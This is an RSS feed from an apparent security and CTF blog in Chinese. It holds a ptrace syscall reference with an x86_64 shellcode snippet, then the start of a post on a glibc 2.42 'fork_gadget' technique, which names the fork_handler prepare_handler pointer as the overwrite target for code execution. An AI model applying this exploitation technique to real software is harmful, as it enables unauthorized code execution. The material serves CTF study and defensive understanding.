<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>0xh3y3&apos;s Blog</title><description>Security Research &amp; CTF</description><link>https://0xh3y3.github.io/</link><language>zh_CN</language><item><title>Linux ptrace 调用速查表</title><link>https://0xh3y3.github.io/posts/ptrace/</link><guid isPermaLink="true">https://0xh3y3.github.io/posts/ptrace/</guid><description>整理常用及现代内核支持的 ptrace 请求、选项与事件，附 x86_64 数值速查与 shellcode 参数约定</description><pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文整理了常用及现代内核支持的 &lt;code&gt;ptrace&lt;/code&gt; 请求（requests）、选项（options）与事件（events），并说明各参数的语义与典型用法。跨架构/内核版本可能存在差异，实际以目标系统头文件 &lt;code&gt;include/uapi/linux/ptrace.h&lt;/code&gt; 与手册页为准。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;函数签名&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;long ptrace(int request, pid_t pid, void *addr, void *data);  syscall 101
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;request&lt;/code&gt;: &lt;code&gt;PTRACE_*&lt;/code&gt; 请求常量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pid&lt;/code&gt;: 要操作的&quot;被跟踪线程&quot;（tracee）的 TID（线程 ID）。除 &lt;code&gt;PTRACE_TRACEME&lt;/code&gt; 外，其它请求通常要求 tracee 处于&quot;ptrace-stop&quot;状态。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;addr&lt;/code&gt; / &lt;code&gt;data&lt;/code&gt;: 随请求变化；本文在每个请求条目中说明其含义。&lt;/li&gt;
&lt;li&gt;返回值：成功返回非负值（部分请求返回读取到的数据），失败返回 &lt;code&gt;-1&lt;/code&gt; 并设置 &lt;code&gt;errno&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;请求（Requests）&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;请求&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;th&gt;&lt;code&gt;addr&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;data&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;备注/典型用法&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_TRACEME&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;调用线程声明自身可被其父进程跟踪&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;一般随后 &lt;code&gt;raise(SIGSTOP)&lt;/code&gt;，父进程 &lt;code&gt;wait()&lt;/code&gt; 观测到停止后开始跟踪；仅由 tracee 使用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_PEEKTEXT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读取 tracee 指令空间一个机器字&lt;/td&gt;
&lt;td&gt;目标地址&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;旧接口，现代更常用 &lt;code&gt;PTRACE_PEEKDATA&lt;/code&gt;/&lt;code&gt;process_vm_readv&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_PEEKDATA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读取 tracee 数据空间一个机器字&lt;/td&gt;
&lt;td&gt;目标地址&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;经典读接口，返回值即读取内容（失败为 &lt;code&gt;-1&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_PEEKUSER&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读取旧版&quot;用户区&quot;寄存器块一个机器字&lt;/td&gt;
&lt;td&gt;偏移&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;旧接口，现代用 &lt;code&gt;PTRACE_GETREGSET&lt;/code&gt;/&lt;code&gt;GETREGS&lt;/code&gt; 替代&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_POKETEXT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;写入 tracee 指令空间一个机器字&lt;/td&gt;
&lt;td&gt;目标地址&lt;/td&gt;
&lt;td&gt;要写入的字&lt;/td&gt;
&lt;td&gt;常用于设置断点（写入 &lt;code&gt;int3&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_POKEDATA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;写入 tracee 数据空间一个机器字&lt;/td&gt;
&lt;td&gt;目标地址&lt;/td&gt;
&lt;td&gt;要写入的字&lt;/td&gt;
&lt;td&gt;常用于修改内存缓冲/变量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_POKEUSER&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;写旧版&quot;用户区&quot;一个机器字&lt;/td&gt;
&lt;td&gt;偏移&lt;/td&gt;
&lt;td&gt;要写入的字&lt;/td&gt;
&lt;td&gt;旧接口，不推荐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_CONT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;继续运行 tracee&lt;/td&gt;
&lt;td&gt;忽略或 0&lt;/td&gt;
&lt;td&gt;将要注入的信号或 0&lt;/td&gt;
&lt;td&gt;解除 &lt;code&gt;ptrace-stop&lt;/code&gt;，并可投递信号到 tracee&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_KILL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;终止 tracee&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;直接杀死被跟踪线程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SINGLESTEP&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;单步执行一条指令&lt;/td&gt;
&lt;td&gt;忽略或 0&lt;/td&gt;
&lt;td&gt;信号或 0&lt;/td&gt;
&lt;td&gt;单步后再次进入 &lt;code&gt;ptrace-stop&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SYSCALL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;在下次系统调用入口/出口处停止&lt;/td&gt;
&lt;td&gt;忽略或 0&lt;/td&gt;
&lt;td&gt;信号或 0&lt;/td&gt;
&lt;td&gt;用于系统调用跟踪&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_ATTACH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;附加到已存在的线程，令其进入停止态&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;传统 attach，tracee 会 &lt;code&gt;SIGSTOP&lt;/code&gt;，需 &lt;code&gt;wait()&lt;/code&gt; 等待&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_DETACH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;从 tracee 分离并继续运行&lt;/td&gt;
&lt;td&gt;忽略或 0&lt;/td&gt;
&lt;td&gt;信号或 0&lt;/td&gt;
&lt;td&gt;解除跟踪，常配合 &lt;code&gt;PTRACE_CONT&lt;/code&gt; 的语义&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_GETREGS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;复制通用寄存器到 tracer 缓冲&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;struct user_regs_struct&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;旧接口；跨架构兼容推荐 &lt;code&gt;GETREGSET&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SETREGS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;从 tracer 缓冲写回通用寄存器&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;struct user_regs_struct&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;旧接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_GETFPREGS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;获取 FPU 寄存器&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;struct user_fpregs_struct&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;旧接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SETFPREGS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设置 FPU 寄存器&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;struct user_fpregs_struct&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;旧接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_GETFPXREGS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;获取 x86 扩展 FPU（SSE）寄存器&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;struct user_fpxregs_struct&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;x86 专用旧接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SETFPXREGS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设置 x86 扩展 FPU（SSE）寄存器&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;struct user_fpxregs_struct&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;x86 专用旧接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SETOPTIONS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设置跟踪选项（见 Options）&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;选项位掩码&lt;/td&gt;
&lt;td&gt;必须在 tracee 停止时调用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_GETEVENTMSG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读取最近事件的附加消息&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;unsigned long&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;如 fork/clone 事件中的子 TID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_GETSIGINFO&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;获取待投递信号的 &lt;code&gt;siginfo_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;siginfo_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读取造成停止的信号信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SETSIGINFO&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设置将要投递的 &lt;code&gt;siginfo_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;siginfo_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;修改下次投递信号的细节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_GETREGSET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;通过 &lt;code&gt;NT_*&lt;/code&gt; 类型读取寄存器集合&lt;/td&gt;
&lt;td&gt;&lt;code&gt;addr&lt;/code&gt; 为 regset 类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data&lt;/code&gt; 指向 &lt;code&gt;struct iovec&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;现代接口，跨架构统一&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SETREGSET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;通过 &lt;code&gt;NT_*&lt;/code&gt; 类型写寄存器集合&lt;/td&gt;
&lt;td&gt;&lt;code&gt;addr&lt;/code&gt; 为 regset 类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data&lt;/code&gt; 指向 &lt;code&gt;struct iovec&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;现代接口，跨架构统一&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SEIZE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;无信号/无停止地附加&lt;/td&gt;
&lt;td&gt;忽略或 0&lt;/td&gt;
&lt;td&gt;选项位掩码&lt;/td&gt;
&lt;td&gt;现代 attach，后续用 &lt;code&gt;PTRACE_INTERRUPT&lt;/code&gt; 主动停止&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_INTERRUPT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;强制使 tracee 进入 &lt;code&gt;ptrace-stop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;与 &lt;code&gt;SEIZE&lt;/code&gt; 配合使用，无需发送信号&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_LISTEN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;继续等待下一个&quot;组停止&quot;（group-stop）&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;忽略&lt;/td&gt;
&lt;td&gt;仅在 &lt;code&gt;SEIZE&lt;/code&gt; 模式下使用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_PEEKSIGINFO&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;扫描待处理信号队列&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;struct ptrace_peeksiginfo_args&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;指向 &lt;code&gt;siginfo_t&lt;/code&gt; 缓冲&lt;/td&gt;
&lt;td&gt;可批量读取若干 &lt;code&gt;siginfo_t&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_GETSIGMASK&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读取 tracee 的信号屏蔽集&lt;/td&gt;
&lt;td&gt;&lt;code&gt;addr&lt;/code&gt; 为 &lt;code&gt;sigset_t&lt;/code&gt; 大小&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data&lt;/code&gt; 指向 &lt;code&gt;sigset_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;需 &lt;code&gt;SEIZE&lt;/code&gt; 模式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SETSIGMASK&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设置 tracee 的信号屏蔽集&lt;/td&gt;
&lt;td&gt;&lt;code&gt;addr&lt;/code&gt; 为 &lt;code&gt;sigset_t&lt;/code&gt; 大小&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data&lt;/code&gt; 指向 &lt;code&gt;sigset_t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;需 &lt;code&gt;SEIZE&lt;/code&gt; 模式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SECCOMP_GET_FILTER&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读取 seccomp 过滤器（BPF 程序）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;addr&lt;/code&gt; 为过滤器索引&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data&lt;/code&gt; 指向缓冲&lt;/td&gt;
&lt;td&gt;仅在支持 seccomp 的新内核上可用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PTRACE_SECCOMP_GET_METADATA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读取 seccomp 过滤器元信息&lt;/td&gt;
&lt;td&gt;&lt;code&gt;addr&lt;/code&gt; 为过滤器索引&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data&lt;/code&gt; 指向元信息结构&lt;/td&gt;
&lt;td&gt;新内核可用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;架构特定（x86/i386 等）旧接口：&lt;code&gt;PTRACE_GET_THREAD_AREA&lt;/code&gt;、&lt;code&gt;PTRACE_SET_THREAD_AREA&lt;/code&gt; 等；仅在对应架构/旧内核有效，现代代码建议统一使用 &lt;code&gt;GETREGSET/SETREGSET&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;请求数值（x86_64）速查&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PTRACE_TRACEME             = 0
PTRACE_PEEKTEXT            = 1
PTRACE_PEEKDATA            = 2
PTRACE_PEEKUSER            = 3
PTRACE_POKETEXT            = 4
PTRACE_POKEDATA            = 5
PTRACE_POKEUSER            = 6
PTRACE_CONT                = 7
PTRACE_KILL                = 8
PTRACE_SINGLESTEP          = 9
PTRACE_GETREGS             = 12
PTRACE_SETREGS             = 13
PTRACE_GETFPREGS           = 14
PTRACE_SETFPREGS           = 15
PTRACE_ATTACH              = 16
PTRACE_DETACH              = 17
PTRACE_GETFPXREGS          = 18   ; x86 旧接口
PTRACE_SETFPXREGS          = 19   ; x86 旧接口
PTRACE_SYSCALL             = 24

PTRACE_SETOPTIONS          = 0x4200
PTRACE_GETEVENTMSG         = 0x4201
PTRACE_GETSIGINFO          = 0x4202
PTRACE_SETSIGINFO          = 0x4203
PTRACE_GETREGSET           = 0x4204
PTRACE_SETREGSET           = 0x4205
PTRACE_SEIZE               = 0x4206
PTRACE_INTERRUPT            = 0x4207
PTRACE_LISTEN              = 0x4208
PTRACE_PEEKSIGINFO         = 0x4209
PTRACE_GETSIGMASK          = 0x420A
PTRACE_SETSIGMASK          = 0x420B
PTRACE_SECCOMP_GET_FILTER  = 0x420C
PTRACE_SECCOMP_GET_METADATA= 0x420D

; 系统调用号（x86_64）
SYS_ptrace                 = 101
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注：以上为 Linux x86_64 常见定义；不同架构或更老内核可能有所差异，务必以目标系统的 &lt;code&gt;include/uapi/linux/ptrace.h&lt;/code&gt; 为准。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Shellcode 参数约定（x86_64）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rax&lt;/code&gt;: 系统调用号（如 &lt;code&gt;SYS_ptrace = 101&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdi, rsi, rdx, r10, r8, r9&lt;/code&gt;: 对应系统调用第 1–6 个参数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;示例：&lt;code&gt;ptrace(PTRACE_TRACEME, 0, 0, 0)&lt;/code&gt; 的最小汇编片段（x86_64 Linux）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; 将当前线程置为可被父进程跟踪（仅 tracee 自身可用）
mov     rax, 101          ; SYS_ptrace
xor     rdi, rdi          ; request = PTRACE_TRACEME (0)
xor     rsi, rsi          ; pid = 0
xor     rdx, rdx          ; addr = 0
xor     r10, r10          ; data = 0
syscall

; 常见做法：随后触发停止，便于父进程接管
; mov   rax, 62           ; SYS_kill
; mov   rdi, 0            ; getpid() 可用时传自身 pid；在纯汇编中可先调用 getpid(39)
; mov   rsi, 19           ; SIGSTOP
; syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;选项（Options，配合 &lt;code&gt;PTRACE_SETOPTIONS&lt;/code&gt;/&lt;code&gt;PTRACE_SEIZE&lt;/code&gt;）&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PTRACE_O_TRACESYSGOOD&lt;/code&gt;: 在系统调用停止时将 &lt;code&gt;SIGTRAP&lt;/code&gt; 的高位标记（&lt;code&gt;0x80&lt;/code&gt;），便于区分普通 &lt;code&gt;SIGTRAP&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_O_TRACEFORK&lt;/code&gt;: 跟踪 &lt;code&gt;fork()&lt;/code&gt; 产生的子进程，生成 &lt;code&gt;PTRACE_EVENT_FORK&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_O_TRACEVFORK&lt;/code&gt;: 跟踪 &lt;code&gt;vfork()&lt;/code&gt;，生成 &lt;code&gt;PTRACE_EVENT_VFORK&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_O_TRACECLONE&lt;/code&gt;: 跟踪 &lt;code&gt;clone()&lt;/code&gt;，生成 &lt;code&gt;PTRACE_EVENT_CLONE&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_O_TRACEEXEC&lt;/code&gt;: 跟踪 &lt;code&gt;execve()&lt;/code&gt;，生成 &lt;code&gt;PTRACE_EVENT_EXEC&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_O_TRACEVFORKDONE&lt;/code&gt;: 跟踪 &lt;code&gt;vfork&lt;/code&gt; 结束，生成 &lt;code&gt;PTRACE_EVENT_VFORK_DONE&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_O_TRACEEXIT&lt;/code&gt;: 在进程退出前停止，生成 &lt;code&gt;PTRACE_EVENT_EXIT&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_O_TRACESECCOMP&lt;/code&gt;: 在 seccomp 触发时停止，生成 &lt;code&gt;PTRACE_EVENT_SECCOMP&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_O_EXITKILL&lt;/code&gt;: 若 tracer 终止，则被跟踪的所有 tracee 也被终止（内核 3.8+）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_O_SUSPEND_SECCOMP&lt;/code&gt;: 在被跟踪期间暂时挂起 seccomp（较新内核）。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;选项必须在 tracee 处于 &lt;code&gt;ptrace-stop&lt;/code&gt; 的状态下设置；&lt;code&gt;SEIZE&lt;/code&gt; 模式可在 attach 之初一次性提供选项掩码。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;事件（Events，配合 &lt;code&gt;PTRACE_GETEVENTMSG&lt;/code&gt;）&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PTRACE_EVENT_FORK&lt;/code&gt; = 1：&lt;code&gt;fork()&lt;/code&gt; 产生的子进程。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_EVENT_VFORK&lt;/code&gt; = 2：&lt;code&gt;vfork()&lt;/code&gt; 产生的子进程。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_EVENT_CLONE&lt;/code&gt; = 3：&lt;code&gt;clone()&lt;/code&gt; 产生的子线程/进程。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_EVENT_EXEC&lt;/code&gt; = 4：执行了新的程序映像（&lt;code&gt;execve&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_EVENT_VFORK_DONE&lt;/code&gt; = 5：&lt;code&gt;vfork&lt;/code&gt; 结束并恢复父进程。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_EVENT_EXIT&lt;/code&gt; = 6：将要退出，tracee 在最后时刻停止。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_EVENT_SECCOMP&lt;/code&gt; = 7：触发了 seccomp 过滤器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PTRACE_EVENT_STOP&lt;/code&gt; = 128：&lt;code&gt;SEIZE&lt;/code&gt; 模式下的主动或组停止。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;当出现上述事件停止时，&lt;code&gt;PTRACE_GETEVENTMSG&lt;/code&gt; 可获取事件相关的附加信息（如子 TID）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;相关结构&lt;/h2&gt;
&lt;p&gt;使用 &lt;code&gt;PTRACE_GETREGS&lt;/code&gt; 得到的寄存器顺序如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ptrace-regs.png&quot; alt=&quot;user_regs_struct&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;使用建议与注意事项&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;现代代码优先使用：&lt;code&gt;PTRACE_SEIZE&lt;/code&gt;/&lt;code&gt;PTRACE_INTERRUPT&lt;/code&gt; 管理生命周期，&lt;code&gt;PTRACE_GETREGSET&lt;/code&gt;/&lt;code&gt;SETREGSET&lt;/code&gt; 访问寄存器，&lt;code&gt;PTRACE_PEEKSIGINFO&lt;/code&gt;/&lt;code&gt;GETSIGMASK&lt;/code&gt; 管理信号。&lt;/li&gt;
&lt;li&gt;传统 &lt;code&gt;ATTACH&lt;/code&gt; 需要 &lt;code&gt;wait()&lt;/code&gt;/&lt;code&gt;waitpid()&lt;/code&gt; 与信号握手；&lt;code&gt;SEIZE&lt;/code&gt; 可无信号附加，随后用 &lt;code&gt;INTERRUPT&lt;/code&gt; 进入停止态。&lt;/li&gt;
&lt;li&gt;读/写 tracee 大块内存推荐使用 &lt;code&gt;process_vm_readv&lt;/code&gt;/&lt;code&gt;process_vm_writev&lt;/code&gt;（非 &lt;code&gt;ptrace&lt;/code&gt;），效率更高；&lt;code&gt;POKE/PEEK&lt;/code&gt; 适合小粒度修改或设断点。&lt;/li&gt;
&lt;li&gt;跨架构时，不要假定旧接口的寄存器布局；使用 &lt;code&gt;NT_PRSTATUS&lt;/code&gt;/&lt;code&gt;NT_FPREGSET&lt;/code&gt; 等 &lt;code&gt;regset&lt;/code&gt; 类型通过 &lt;code&gt;iovec&lt;/code&gt; 读写。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;参考资料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;man7.org: ptrace(2) 手册页（现代内核详尽说明）
&lt;ul&gt;
&lt;li&gt;https://man7.org/linux/man-pages/man2/ptrace.2.html&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;linux.die.net: ptrace(2) 手册页（概览）
&lt;ul&gt;
&lt;li&gt;https://linux.die.net/man/2/ptrace&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;数值常量与支持范围以目标机器内核版本与头文件为准；若需精确值，请查阅目标系统的 &lt;code&gt;include/uapi/linux/ptrace.h&lt;/code&gt; 与 &lt;code&gt;asm/ptrace.h&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>fork_gadget: glibc 2.42 fork handler 利用技术</title><link>https://0xh3y3.github.io/posts/fork-gadget/</link><guid isPermaLink="true">https://0xh3y3.github.io/posts/fork-gadget/</guid><description>通过劫持 glibc fork_handlers 结构体实现任意代码执行的利用技术分析</description><pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;参考：&lt;a href=&quot;https://0xa5h.com/pwn/fork_gadget/#fork-one_gadget&quot;&gt;fork_gadget | Pwn Notes&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;glibc 2.42&lt;/h2&gt;
&lt;h3&gt;结构体&lt;/h3&gt;
&lt;h4&gt;fork_handler&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/* Elements of the fork handler lists.  */
struct fork_handler {
    // 1. Prepare Handler (fork 之前执行)
    // 这是我们利用漏洞的【核心目标】。
    // 在 fork 系统调用真正发生之前，父进程会执行这个函数。
    // 通常用于获取锁，防止死锁。
    // 攻击利用点：我们将此指针覆盖为 system 或 setcontext。
    void (*prepare_handler) (void);

    // 2. Parent Handler (fork 之后，父进程执行)
    // 在 fork 系统调用返回后，父进程会执行这个函数。
